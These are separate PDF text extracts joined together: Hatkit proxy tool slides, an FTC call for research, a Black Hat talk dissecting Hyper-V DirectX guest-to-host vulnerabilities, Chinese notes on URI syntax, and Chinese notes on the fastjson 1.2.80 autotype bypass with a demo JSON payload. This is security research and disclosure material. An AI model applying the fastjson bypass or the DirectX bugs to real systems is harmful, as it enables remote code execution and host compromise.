▪ Server headers,Banner-values, File extensions,Cookie names
Searching for potential XSS
▪ Use filters to see only the requests where content is reflected
Analyzing brute-force attempt
▪ Request parameter username, password, Response delay, body size, status
code and body hash
The v0 parameter is the object id. This column uses
'Coloring', which means that the value is not displayed,
instead a color is calculated from the hash of the value.
Aggregation (grouping) is a feature of MongoDB.
It is like a specialized Map/Reduce
You provide the framework with a couple of directives and
the database will return the results, which are different kinds
of sums.
Pass JS right into the DB
Example scenarios:
Generate sitemap
Show all http response codes, sorted by host/path
Show all unique http header keys, sorted by extension
Show all request parameter names, grouped by host
Show all unique request parameter values, in grouped by host
Datafiddler has a mechanism to run selected
traffic through third-party plugins. Currently
implemented*:
Ratproxy plugin. Starts ratproxy process, feeds traffic
through it, and collects output.
Generic proxy plugin. Feeds data to a proxy (e.g Burp)
which in turn uses a Datafiddler as forward proxy.
Webscarab export. Writes traffic data to webscarab
save-format. Useful e.g. to do manual requests edit or
use fuzzer.
* Defcon19-release
Why use it?
To better be able to make sense of large bodies of
complex information
To maintain control of your data by not tying it to
one single application
How do I get it?
Download the source
▪ https://bitbucket.org/holiman/hatkit-proxy/
▪ https://bitbucket.org/holiman/hatkit-datafiddler/
Or the released binaries
▪ https://bitbucket.org/holiman/hatkit-proxy/downloads
▪ https://bitbucket.org/holiman/hatkit-datafiddler/downloads
And check out the documentation
▪ https://www.owasp.org/index.php/OWASP_Hatkit_Proxy_Pr
oject
▪ https://www.owasp.org/index.php/OWASP_Hatkit_Datafiddl
er_Project
What does it run on, prerequisites?
Python
Qt4
PyQt4 bindings
Python MongoDB driver
MongoDB
(optional: w3af)
(optional: ratproxy)
Tested on Linux and MacOSX
Upcoming features
Cache proxy
▪ Datafiddler can act as forwarding proxy and use
collected traffic as cache. On cache miss, it can either
contact remote host or issue 403. This enables:
▪ Resume aborted Nikto-scan
▪ Gather e.g. screenshots post mortem without access to target
Fuzzer integration
▪ Send requests directly to a fuzzer.
New release at Defcon19!
For web application testers, the Hatkit combo is
very useful for analyzing remote servers and
applications, from a low-level infrastructure
point-of-view to high-level application flow.
For server administrators, The Hatkit Proxy can be
set as a reverse proxy, logging all incoming
traffic. The combo can then be used as a tool to
analyze user interaction, e.g. to detect malicious
activity and perform post mortem analysis. The
back-end can scale to handle massive amounts
of data.
To learn more or join the project, join the
mailing lists
Owasp-hatkit-datafiddler-
[email protected]
[email protected]
Questions? | pdf |
RESEARCH ON THE MACHINES
HELP THE FTC PROTECT PRIVACY
AND SECURITY
Humans
User: Terrell McSweeny
Function: Commissioner, FTC
User: Lorrie Cranor
Function: Chief Technologist, FTC
Machines
Speech Schematics
Privacy &
Security
Protections
Now
Issues of
the Day
We Need
Your Help!
How does the FTC respond to
the Rise of the Machines?
When
machines are
everywhere?
What does the FTC do?
Unfair
Deceptive
What do “unfair” and “deceptive” mean?
• Unfair =
– Substantial Injury to Consumers
– Unavoidable
– Not Outweighed Procompetitive By
Benefits
• Deceptive =
– Act Likely to Mislead Consumers
– Unreasonable
– Material
For Example …
Facebook promised to keep personal
info safe, but allowed 3rd party access
Snapchat promised images would
disappear, but kept them
Wyndham unfairly exposed consumers’
payment-card info in three separate
data breaches
For Example …
Google promised Gmail contacts
wouldn’t be used elsewhere, but used
them in its social-media site, Buzz
ASUS promised its routers would
protect local network against attacks,
but failed to update them enough
ORACLE promised its updates would
protect consumers, but didn’t protect
older versions of Java SE.
PII
FCC
NHTSA
DOE
FAA
HIPPA
Defenseless Data
FACTA
ECOA
COPPA
FCRA
FTC Act
FTC
Current
Issues
Office of Technology
Research & Investigation
2016 Fall Technology Series
Ransomware
September 7
Drones
October 13
Smart TV
December 7
ftc.gov/tech
Putting Disclosures to the Test
September 15, 2016
ftc.gov/tech
ftc.gov/tech
January 12, 2017
Research Wish List:
What is the FTC looking for?
We want…
… Research On Privacy and Security
• What value do consumers put on various
aspects of privacy in different contexts?
• How can we assess the risk of harm from
security and privacy breaches?
• How can we trace the illegal sale of identity info
back to a particular breach?
• How can interventions make attacks less
economically viable?
• What does the FTC need to know to protect
consumers from ransomware, malvertising, etc?
… Research to Enhance Fraud Detection
• How are fraud and attacker ecosystems
organized? Participants? Tools?
Incentives?
• How can we detect fraudulent ads and
online posts?
• What practices, communications,
methods are signs of fraudulent
activity?
… New Tools for Privacy and Security
• Allow users to control personal info
• Filter or block unwanted marketing calls
and scams on all types of phone lines
• Prevent or detect callerID spoofing
…New Tools for Investigation & Enforcement
• Analyze apps to determine practices associated with
third-party libraries
• Detect discriminatory algorithms
• Identify when tracking is occurring and what info is
being collected
• Identify cross-device tracking
• Identify vulnerable IoT devices
• Analyze law enforcement complaint databases,
social network data, etc. to detect emerging scams
….Research On Emerging Technologies &
Trends
•
Connected Devices and Cloud Services
– What do consumers understand about “buying” cloud services?
– What do consumers understand about security issues when
devices are no longer supported and updated?
– Do firms have adequate plans to inform consumers about the
lifecycle of connected products?
•
Virtual Reality
– What are security and privacy impacts of VR?
– Does VR raise new consumer protection concerns?
•
Intelligent machines
– ????????
What happens to the findings
you submit?
Send us your papers
Tell us what you’ve
discovered
Come to our
workshops
ftc.gov/tech
We Want You!
Federal Trade Commission
(Version 2016.8)
C:\DefCon\hackerInput.exe
>…
#Any questions?
#Learn more at ftc.gov/tech | pdf |
#BHUSA @BlackHatEvents
DirectX: The New Hyper-V
Attack Surface
Zhenhao Hong (@rthhh17)
Ziming Zhang (@ezrak1e)
#BHUSA @BlackHatEvents
Information Classification: General
whoami
Zhenhao Hong (@rthhh17)
• Security Specialist of Ant
Group Light-Year Security Lab
• 2019-2020 MSRC Most
Valuable Security
Researchers
• Black Hat USA 2021 Speaker
Ziming Zhang (@ezrak1e)
• Security researcher of Ant
Group Light-Year Security Lab
• 2021 Tianfu Cup Windows
project winner
• 2021 Q2/Q4 Microsoft Most
Valuable Security Researchers
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
Intro
➢ In 2020, Hyper-V introduced a new feature of GPU-
Paravirtualization.
➢ This technology is integrated into WDDM (Windows Display Driver
Model) and all WDDMv2.5 or later drivers have native support for
GPU virtualization.
➢ New features mean new attack surfaces.
#BHUSA @BlackHatEvents
Information Classification: General
WDDM Architecture
https://docs.microsoft.com/en-us/windows-hardware/drivers/display/images/dx10arch.png
#BHUSA @BlackHatEvents
Information Classification: General
Hyper-V DirectX Component Architecture
Hypervisor (Ring -1)
User Mode
Kernel Mode
Linux VM
Windows Host
VMBUS
(hv_vmbus.ko)
DirectX LKM
(dxgkrnl.ko)
Application
/dev/dxg
vmcall
Application
Runtime Component
UserMode Driver
VMBUS
Component
DirectX graphics kernel
subsystem
(dxgkrnl.sys)
DirectX graphics
MMS
(dxgmms1.sys &
dxgmms2.sys)
GPU driver
vmcall
#BHUSA @BlackHatEvents
Information Classification: General
WDDM Data Flow
Hypervisor (Ring -1)
User Mode
Kernel Mode
Linux VM
Windows Host
VMBUS
(hv_vmbus.ko)
DirectX LKM
(dxgkrnl.ko)
Application
/dev/dxg
vmcall
Application
Runtime Component
UserMode Driver
VMBUS
Component
DirectX graphics kernel
subsystem
(dxgkrnl.sys)
DirectX graphics
MMS
(dxgmms1.sys &
dxgmms2.sys)
GPU driver
vmcall
1
2
3
4
5
#BHUSA @BlackHatEvents
Information Classification: General
Hyper-V DirectX Component Data Flow
Hypervisor (Ring -1)
User Mode
Kernel Mode
Linux VM
Windows Host
VMBUS
(hv_vmbus.ko)
DirectX LKM
(dxgkrnl.ko)
Application
/dev/dxg
vmcall
Application
Runtime Component
UserMode Driver
VMBUS
Component
DirectX graphics kernel
subsystem
(dxgkrnl.sys)
DirectX graphics
MMS
(dxgmms1.sys &
dxgmms2.sys)
GPU driver
vmcall
1
2
3
4
5
6
7
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
How to config
➢ Add a Virtual GPU to the virtual machine (ubuntu).
#BHUSA @BlackHatEvents
Information Classification: General
In Virtual Machine (Linux VM)
GPU paravirtualization per virtual GPU DXGK channel
GPU paravirtualization global DXGK channel
#BHUSA @BlackHatEvents
Information Classification: General
DirectX Virtual Device ---- Linux(VM) Driver Support
➢
Only supported in WSL2-Linux-Kernel source code tree.
(https://github.com/microsoft/WSL2-Linux-Kernel/tree/linux-msft-wsl-
5.10.y/drivers/hv/dxgkrnl)
- Easy to compile
- Easy to customization
➢
Linux driver(dxgkrnl.ko) exposes the " /dev/dxg " device to user mode Linux.
- Exposes a set of IOCTLs.
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
DirectX Component initialize in Linux VM
dxgvmbuschannel_init
dxgglobal_init_global_channel
dxgadapter_set_vmbus
GPU paravirtualization global DXGK channel initialize
GPU paravirtualization per virtual GPU DXGK channel
initialize
#BHUSA @BlackHatEvents
Information Classification: General
Data Send&Recv in Linux VM
➢ Send
- dxgvmb_send_sync_msg
- dxgvmb_send_async_msg
➢ Receive
- dxgvmbuschannel_receive
Send dxgkrnl commands to Host.
Such as: DXGK_VMBCOMMAND_xxxxx
Receive messages and commands
from Host.
#BHUSA @BlackHatEvents
Information Classification: General
Send dxgkrnl Command to Host
➢ There are many commands to use…
......
#BHUSA @BlackHatEvents
Information Classification: General
Send dxgkrnl Command to Host
➢ There are many commands to use…
➢ Command message format (header + message_buffer)
offset
name
size
0x00
command_id
0x08
0
0x08
process
0x04
process handle or 0
0x0C
channel_type
0x04
DXGKVMB_VGPU_TO_HOST(per virtual GPU DXGK channel)
DXGKVMB_VM_TO_HOST(global DXGK channel)
0x10
command_type
0x04
DXGK_VMBCOMMAND_xxxxxx
0x14
reserved
0x04
Align
0x18
buffer
variable
Command message buffer
header
#BHUSA @BlackHatEvents
Information Classification: General
Send dxgkrnl Command to Host
➢ Example
#BHUSA @BlackHatEvents
Information Classification: General
DXG_HOST_GLOBAL_VMBUS::VmBusxxx
DXG_HOST_GLOBAL_VMBUS::VmBusxxx
DXG_HOST_VIRTUALGPU_VMBUS::VmBusxxx
DXG_HOST_VIRTUALGPU_VMBUS::VmBusxxx
Data Receiving in Host
VMBus (Root Partition)
DXG_HOST_GLOBAL_VMBUS::VmBusChannelProcessPacket
DXG_HOST_VIRTUALGPU_VMBUS::VmBusChannelProcessPacket
VmBusProcessPacket
DXG_HOST_GLOBAL_VMBUS::VmBusCommandTableVmToHost
DXG_HOST_VIRTUALGPU_VMBUS::VmBusCommandTableVgpuToHost
DXG_HOST_VIRTUALGPU_VMBUS::VmBusxxx
DXG_HOST_GLOBAL_VMBUS::VmBusxxx
...
...
#BHUSA @BlackHatEvents
Information Classification: General
Retrieve Data from Guest
➢ Function dxgkrnl! CastToVmBusCommand<xxxx>
➢ Example
DXG_HOST_VIRTUALGPU_VMBUS::VmBusChannelProcessPacket
#BHUSA @BlackHatEvents
Information Classification: General
Send Data to Guest
➢ dxgkrnl!VmBusCompletePacket(a1, databuffer, buflength)
v6 is a NTSTATUS Value
The size of NTSTATUS is 4
#BHUSA @BlackHatEvents
Information Classification: General
Hypervisor (Ring -1)
User Mode
Kernel Mode
Linux VM
Windows Host
VMBUS
(hv_vmbus.ko)
DirectX LKM
(dxgkrnl.ko)
Application
/dev/dxg
vmcall
Application
Runtime Component
UserMode Driver
VMBUS
Component
DirectX graphics kernel
subsystem
(dxgkrnl.sys)
DirectX graphics
MMS
(dxgmms1.sys &
dxgmms2.sys)
GPU driver
vmcall
1
2
3
4
5
6
7
Attack Surface
#BHUSA @BlackHatEvents
Information Classification: General
Attack Surface
➢ dxgkrnl.sys dxgmms1.sys dxgmms2.sys
➢
66 DXG_HOST_VIRTUALGPU_VMBUS commands
➢
21 DXG_HOST_GLOBAL_VMBUS commands
...
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
Case Studies CVE-2022-21918
NULL Pointer Reference:DXGK_VMBCOMMAND_SIGNALSYNCOBJECT
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
➢Root cause : dxgmms2!VidSchiSignalSyncObjectsFromCpu a5(5th
parameter) reference a NULL Pointer.
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObject
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObject
If v22 < v17_Length_MonitoredFenceValueArray
Then v24_pfence_values = 0
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObject
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObject
offset
name
size
0x00
command
0x18
0x18
object_count
0x04
0x1C
flags
0x04
0x20
context_count
0x04
0x24
reserved
0x04
0x28
fence_value
0x08
0x30
device
0x08
0x38
ObjectHandleArray[object_count]
4 * object_count
ContextArray[context_count]
4 * context_count
MonitoredFenceValueArray[object_count]
8 * object_count
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
DXG_HOST_VIRTUALGPU_VMBUS::VmBusSignalSyncObject
If v10_objectcount = 1, v16_buflen = 0x3c
v17_Length_MonitoredFenceValueArray = 8
v18_Offset_MonitoredFenceValueArray = 0x3c
V22 = 0
v22 < v17
v24_pfence_values = 0
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21918
PoC Code
① Create a sync_handle
② Trigger this bug, and BSOD!
#BHUSA @BlackHatEvents
Information Classification: General
Case Studies CVE-2021-43219
NULL Pointer Reference: DXGK_VMBCOMMAND_SUBMITCOMMAND
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2021-43219
DxgkSubmitCommandInternal
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2021-43219
DXGCONTEXT::HandleVistaBltStub
If a2_present_history_token < 0
Into this branch and then invoke CWin32kLocks::Lock
&v71 is a CWin32kLocks structure pointer.
Some members of the CWin32kLocks
structure are illegal now, cause BSOD
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2021-43219
PoC Code
① Create context
② Trigger this bug
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2021-43219
Debugging
#BHUSA @BlackHatEvents
Information Classification: General
Case Studies CVE-2022-21912
Arbitrary Address Read:
DXGK_VMBCOMMAND_WAITFORSYNCOBJECTFROMGPU
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21912
DXG_HOST_VIRTUALGPU_VMBUS::VmBusWaitForSyncObjectFromGpu
offset
name
size
0x00
command
0x18
0x18
context
0x04
0x1C
object_count
0x04
0x20
legacy_fence_object
0x08
0x28
fence_values
0x08
0x30
ObjectHandles
4 * object_count
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21912
DXG_HOST_VIRTUALGPU_VMBUS::VmBusWaitForSyncObjectFromGpu
offset
name
size
0x00
command
0x18
0x18
context
0x04
0x1C
object_count
0x04
0x20
legacy_fence_object
0x08
0x28
fence_values
0x08
0x30
ObjectHandles
4 * object_count
If legacy_fence_object = 1
Dst.pFenceValue = v6_databuf->syncgpu.fence_value
V23 = 0
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21912
DxgkWaitForSynchronizationObjectFromGpuInternal
v5_a4 is 0 now, into this branch
v5_a4 = Src.pFenceValue
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21912
WaitForSynchronizationObjectFromGpu
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21912
PoC Code
① Create context handle
② Create sync handle
③ Trigger this bug, read from
address : 0x4141414141414141
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21912
Debugging
#BHUSA @BlackHatEvents
Information Classification: General
Case Studies CVE-2022-21898
Arbitrary Address Write:
DXGK_VMBCOMMAND_SUBMITVAILPRESENTHISTORYTOKEN
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21898
DXG_HOST_VIRTUALGPU_VMBUS::VmBusSubmitVailPresentHistoryToken
offset
name
size
0x00
command
0x18
0x18
context_handle
0x04
0x1C
unknown1_off4
0x04
0x20
unknown2_off8
0x08
0x28
unknown3_off10
0x08
0x30
unknown4_off18
0x08
0x38
unknown5_off20
0x08
0x40
device_synchandle
0x04
0x44
unknown6_off2C
0x04
databuf memory layout
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21898
DXGADAPTER::SubmitPresentHistoryTokenFromVm
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21898
VidSchSubmitCommandContextless
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21898
VidSchiRedirectedFlipWaitOnSyncObject
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21898
VidSchiAcquirePrivateDataReference
When v2 = 0,
v4 = *(_QWORD *)((char *)a2 + 0xC8)
In VidSchiRedirectedFlipWaitOnSyncObject,
v6 + 0x238
In DXGADAPTER::SubmitPresentHistoryTokenFromVm
v4 is a7_unknown4_off18
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21898
PoC Code
① Create sync handle
② Trigger this bug, write to
address : 0x414141414141414d
#BHUSA @BlackHatEvents
Information Classification: General
CVE-2022-21898
Debugging
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
Why Fuzz?
➢ Hyper-V DirectX Component has a large quantity of codes.
➢ There are 87 commands and their corresponding structures, mutating
members in a specific struct can be very effective.
➢ Many commands depend on context, such as some commands depend
on device_handle, allocation_handle, etc. Meanwhile, the properties of
the handle, such as the properties of the allocation_handle, will also
affect the commands that refer to it below. In this case, it is more
efficient to use fuzz.
➢ The above vulnerabilities were all discovered by fuzz.
#BHUSA @BlackHatEvents
Information Classification: General
Fuzz Architecture
Hypervisor
Host (Root Partition)
Guest (Child Partition)
dxgmms1.sys
dxgmms2.sys
dxgkrnl.sys
dxgkrnl.ko
UserMode
KernelMode
fuzzer
r&w /dev/dxg
ioctl(LX_DXPWN)
•
Send mutated dxgkrnl command data.
•
Receive data returned from the kernel
module, such as the return data of
create allocation command.
ioctl(LX_DXPWN) ---- agent layer
•
Send the dxgkrnl command data obtained from
the usermode program to the host DirectX
component.
•
Receive data from host DirectX component and
return data to usermode program.
#BHUSA @BlackHatEvents
Information Classification: General
Fuzz Architecture
Hypervisor
Host (Root Partition)
Guest (Child Partition)
dxgmms1.sys
dxgmms2.sys
dxgkrnl.sys
dxgkrnl.ko
UserMode
KernelMode
fuzzer
r&w /dev/dxg
ioctl(LX_DXPWN)
•
Send mutated dxgkrnl command data.
•
Receive data returned from the kernel
module, such as the return data of
create allocation command.
ioctl(LX_DXPWN) ---- agent layer
•
Send the dxgkrnl command data obtained from
the usermode program to the host DirectX
component.
•
Receive data from host DirectX component and
return data to usermode program.
fuzzer
Harness
Data Send/Recv
Infrastructure
#BHUSA @BlackHatEvents
Information Classification: General
Example
Hypervisor
Host (Root Partition)
Guest (Child Partition)
dxgmms1.sys
dxgmms2.sys
dxgkrnl.sys
dxgkrnl.ko
UserMode
KernelMode
fuzzer
r&w /dev/dxg
ioctl(LX_DXPWN)
•
Send mutated dxgkrnl command data.
•
Receive data returned from the kernel
module, such as the return data of
create allocation command.
ioctl(LX_DXPWN) ---- agent layer
•
Send the dxgkrnl command data obtained from
the usermode program to the host DirectX
component.
•
Receive data from host DirectX component and
return data to usermode program.
DXGK_VMBCOMMAND_SIGNALSYNCOBJECT
Mutation dxgkvmb_command_signalsyncobject structure member
#BHUSA @BlackHatEvents
Information Classification: General
Agenda
①Hyper-V DirectX Component Architecture
②How to Config
③Attack Surface
④Vulnerabilities details
⑤Fuzz is necessary
⑥Conclusion and Black Hat Sound Bytes
#BHUSA @BlackHatEvents
Information Classification: General
Conclusion
➢ The Hyper-V DirectX Component has a large attack surface and is
still being updated so far.
➢ Hyper-V DirectX Component application scenarios include: WDAG,
Windows Sandbox, and HoloLens 2 emulator. Since virtual
machines can natively support DirectX, online 3D gaming may
become possible in the future I guess.
➢ 🙁Unfortunately, MSRC thinks Hyper-V DirectX is out of scope for
Hyper-V bounty program(Thanks MSRC for the patient
communication). But it's still a good remote attack surface.
#BHUSA @BlackHatEvents
Information Classification: General
Black Hat Sound Bytes
⚫Hyper-V DirectX component architecture overview, and how to
enable DirectX component in Hyper-V virtual machine configuration.
⚫Introduce the attack surface of Hyper-V DirectX component, and how
to find vulnerabilities in this attack surface through fuzzing.
⚫Discloses the internal details of 4 Hyper-V DirectX component’s
vulnerabilities, providing reference for finding vulnerabilities in this
new attack surface.
#BHUSA @BlackHatEvents
Thank you!
Zhenhao Hong (@rthhh17)
Ziming Zhang (@ezrak1e)
#BHUSA @BlackHatEvents
Q & A
Zhenhao Hong (@rthhh17)
Ziming Zhang (@ezrak1e) | pdf |
URI相关
0x00 前⾔
最近看了⼀些关于url的⼩技巧,感觉⾃⼰对url的相关基础其实搞不太清楚,所以⼲脆从头仔细再学⼀遍。
主要参考⼀些链接
https://datatracker.ietf.org/doc/html/rfc3986#section-1.1
https://docs.oracle.com/javase/8/docs/api/java/net/URI.html
https://blog.csdn.net/anguowei/article/details/118381316
0x01 什么是uri、url、urn
uri(uniform resource identifier),统⼀资源标识符,⽤于标识⽹络上任意资源。
url(uniform resource locator),统⼀资源定位符,通常表示资源的位置、获取⽅式等。
urn(uniform resource name),统⼀资源名称,表示⽹络上唯⼀存在的资源名称,即使资源不存在了,⼈们也可以继续使⽤名称讨论他。
其三者的关系如下图:
很显然,urn和url只是uri的两个⼦集,uri也还会包含其他的⼀些分类,不过那些分类很⼩众基本⽤不到。也就是说⼤部分时候我们看到的就
是url和urn,⽽最最常⻅的⽐如⽹址等就是url,⽽我们在磁⼒链接中则会看到urn的身影。
再通俗点说,urn就像⼀个资源的名字,⽐如⼀部蜘蛛侠电影,我们在现实社会中会叫这部电影《蜘蛛侠》,当我们说这个名字的时候别⼈也
会知道说的是这部电影。⽽在⽹络世界中,针对某个唯⼀的资源⽐如蜘蛛侠电影的名字⽤⼀串urn来唯⼀标识。这样⽆论在哪个⽹站,当我们
提到这个urn的时候,该⽹站通过解析就能知道我们说的是蜘蛛侠电影。
那么url是什么呢?⽐如我们去A站和B站分别搜索蜘蛛侠电影,他们会各⾃返回各⾃⽹站上的蜘蛛侠电影播放链接,⽽这两个链接肯定是不相
同的,因为他们分别指向A站和B站⾃⼰服务器上的某个蜘蛛侠电影的资源副本,并且告诉⽤户如何去访问(⽤什么参数,在那个⽬录下
等)。很显然,url就是指代具体资源的位置、访问⽅法等,同⼀个urn可能对应⽹络上N个url,因为《蜘蛛侠》电影的副本资源在各⼤⽹站上
都有。
0x02 格式
前⾯说了主要的uri分为urn和url两⼤类,给出⼀些例⼦
ftp://ftp.is.co.za/rfc/rfc1808.txt
http://www.ietf.org/rfc/rfc2396.txt
ldap://[2001:db8::7]/c=GB?objectClass?one
mailto:[email protected]
news:comp.infosystems.www.servers.unix
tel:+1-816-555-1212
telnet://192.0.2.16:80/
urn:oasis:names:specification:docbook:dtd:xml:4.1.2
其具体格式如下
上图是rfc中的解释,不过他的图显示有问题,所以可以看下⾯这个
foo://example.com:8042/over/there?name=ferret#nose
\_/ \______________/\_________/ \_________/ \__/
| | | | |
scheme authority path query fragment
| _____________________|__
/ \ / \
urn:example:animal:ferret:nose
相信很多同学多少有点基础,所以上⾯有些就不再说了,看⼀下authority:
authority = [ userinfo "@" ] host [ ":" port ]
authority由//标识开始,并在下⼀个/或者#或者?或者末尾时结束。
总之只要知道//开始的是authority的标识,当然authority可以为空,这样我们就可以很好理解file:///etc/passwd这种形式了,也就是说
authority为空然后后⾯跟上path因此会有三个/。
这⾥最后再提⼀个概念:SchemeSpecificPart
[scheme:]scheme-specific-part[#fragment]
0x03 不透明和分级uri
uri也可以分为不透明的和分级的uri两⼤类。
如果⼀个uri的scheme-spcific-part不以/开头,则称他为不透明的,通常这种uri的scheme-spcific-part部分不会再做进⼀步的解析(可能对
应的scheme⾃⼰有专属的解析器来解析,但⾄少不会按照通常那样来解析各个部分)。例⼦如下:
mailto:[email protected]
news:comp.lang.java
urn:isbn:096139210x
分级URI就是我们经常⻅的那种,scheme后⾯以/开头或者是没有scheme的相对uri都属于分级uri,会按照前⾯说的格式来尝试解释各个部
分。例⼦如下:
http://java.sun.com/j2se/1.3/
docs/guide/collections/designfaq.html#28
../../../demo/jfc/SwingSet2/src/SwingSet2.java
file:///~/calendar
0x04 java实例
写⼏个简单的java实例处理scheme的效果,我这⾥是java1.8
⽐较有意思的是,这⾥获取port的时候必须要显示的写80,不然会获取port为-1,也就是说这个类在处理的时候还是正则匹配的样⼦,不会
做更多的处理。
看看file协议:
0x05 normalize和resolve
在uri的处理⾥有两个操作要提⼀下,⼀个是normalize另⼀个是resolve。
normalize
将路径中的.和..给处理掉,如果路径为a/b/../c则会被处理成a/c
resolve
将两个路径链接在⼀起,⽐如a/b和c/d链接后变成a/b/c/d
0x06 可能有⽤的点
scheme的构成:
scheme = ALPHA *( ALPHA / DIGIT / "+" / "-" / "." )
这⾥可以看到scheme可以带有.
那么假设只校验格式不校验是否有对应的protocol handler,那么链接也可能写成
www.baidu.com://www.guahao.com/a/b/c
相对url:
在存在baseurl的上下⽂⾥,可以⽤相对url来表示url,类似于使⽤相对路径
https://datatracker.ietf.org/doc/html/rfc3986#section-5.4.1
这后⾯还有⼀些异常的例⼦处理建议可以看看,蛮有意思的
0x07 结语
暂时先记⼀下这些,rfc⾥还有很多其他概念和细节,有空再看看。⽽且java在处理的时候,好像也没有完全按照rfc的标准来处理。 | pdf |
2022/9/27 19:20
Markdoc Preview
about:blank
1/12
学习⼀下浅蓝的《Hacking JSON》议题。
回顾fastjson历史漏洞
fastjson1.2.47是通过MiscCodec向⽩名单缓存中put任意类。
fastjson1.2.68是⽤的期望类,
找实现了AutoCloseable接⼝的⼦类中的危险操作。
1.2.68的修复⽅式简单粗暴,将 java.lang.Runnable 、 java.lang.Readable 和 java.lang.AutoCloseable 加⼊了⿊名单,那么1.2.80⽤的就是另⼀个期望类:异
常类Throwable。
2022/9/27 19:20
Markdoc Preview
about:blank
2/12
详细分析
浅蓝给了两张图说明他的挖掘思路。
关键点就在于反序列化setter method parameter OR public field(⽆视autotype)时添加类到⽩名单
2022/9/27 19:20
Markdoc Preview
about:blank
3/12
给了上图的挖掘思路,那么我们就要弄明⽩为什么setter参数、公有字段、构造函数参数这三个点的类型会被加到⽩名单缓存mapping中。
先写⼏个demo来看
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.util.TypeUtils;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.concurrent.ConcurrentMap;
public class Main {
public static void main(String[] args) throws Exception {
String json2 = new String(Files.readAllBytes(Paths.get("1.txt")));
try {
Object parse = JSON.parse(json2);
System.out.println(parse);
} catch (Exception e) {
e.printStackTrace();
}
Field mappings = TypeUtils.class.getDeclaredField("mappings");
mappings.setAccessible(true);
ConcurrentMap<String, Class<?>> o = (ConcurrentMap<String, Class<?>>) mappings.get(TypeUtils.class);
System.out.println("----------------");
o.forEach((k, v) -> {
if (k.contains("My")) {
System.out.println(k);
}
});
}
}
public class MyClass {
public String name;
}
public class MyException extends Throwable {
private MyClass clazz;
public void setClazz(MyClass clazz) {
this.clazz = clazz;
}
}
我们构造⼀个json来讲解漏洞原理
{
"a":{
"@type":"java.lang.Exception",
2022/9/27 19:20
Markdoc Preview
about:blank
4/12
"@type":"MyException",
"clazz":{},
"stackTrace":[]
},
"b":{
"@type":"MyClass","name":"asd"
}
}
a部分就是众所周知的期望类,⽤继承了Exception的MyException类作为type。
在 com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int) 中
expectClassFlag为true,所以会从classloader中加载MyException拿到class
并且期望类不为空时会把⽬标类加⼊到类缓存中 TypeUtils.addMapping(typeName, clazz)
解决完两个type标签之后,现在来看clazz标签的解析过程
因为是异常类,所以在 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object) 拿到的是ThrowableDeserializer
反序列化器
深究getDeserializer函数
如果是type传⼊的是Class则进⼊ com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
2022/9/27 19:20
Markdoc Preview
about:blank
5/12
这个函数中会针对不同类的class类型分配相应的反序列化器
